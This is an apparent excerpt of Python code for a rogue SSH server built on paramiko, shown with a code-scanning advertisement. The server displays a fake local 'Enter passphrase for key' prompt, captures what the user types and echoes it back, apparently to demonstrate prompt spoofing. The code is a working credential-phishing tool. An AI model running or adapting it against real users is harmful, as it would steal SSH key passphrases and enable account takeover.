Secure your code as it's written. Use Snyk Code to scan source code in minutes - no build needed - and fix issues immediately.
def handle(self):
try:
transport = paramiko.Transport(self.request)
transport.add_server_key(host_key)
server = SusServer()
transport.start_server(server=server)
channel = transport.accept(20)
if channel is None:
raise Exception('No channel')
server.event.wait(10)
if not server.event.is_set():
raise Exception('No shell')
channel.send(f"Enter passphrase for key '/Users/{server.sent_username}/.ssh/id_ed25519': ")
f = channel.makefile("rU")
passphrase = f.readline().strip("\r\n")
channel.send(f"\r\nI'm the server, and your passphrase is: {passphrase}\r\n")
except Exception as e:
traceback.print_exc()
finally:
transport.close()
return SusTCPHandler
class ThreadedTCPServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
pass
if __name__ == '__main__':
HOST, PORT, HOST_KEY_FILENAME = '0.0.0.0', 22, 'host.key'
host_key = paramiko.RSAKey(filename=HOST_KEY_FILENAME)
SusTCPHandler = build_sus_tcp_handler(host_key)
server = ThreadedTCPServer((HOST, PORT), SusTCPHandler)
server.serve_forever()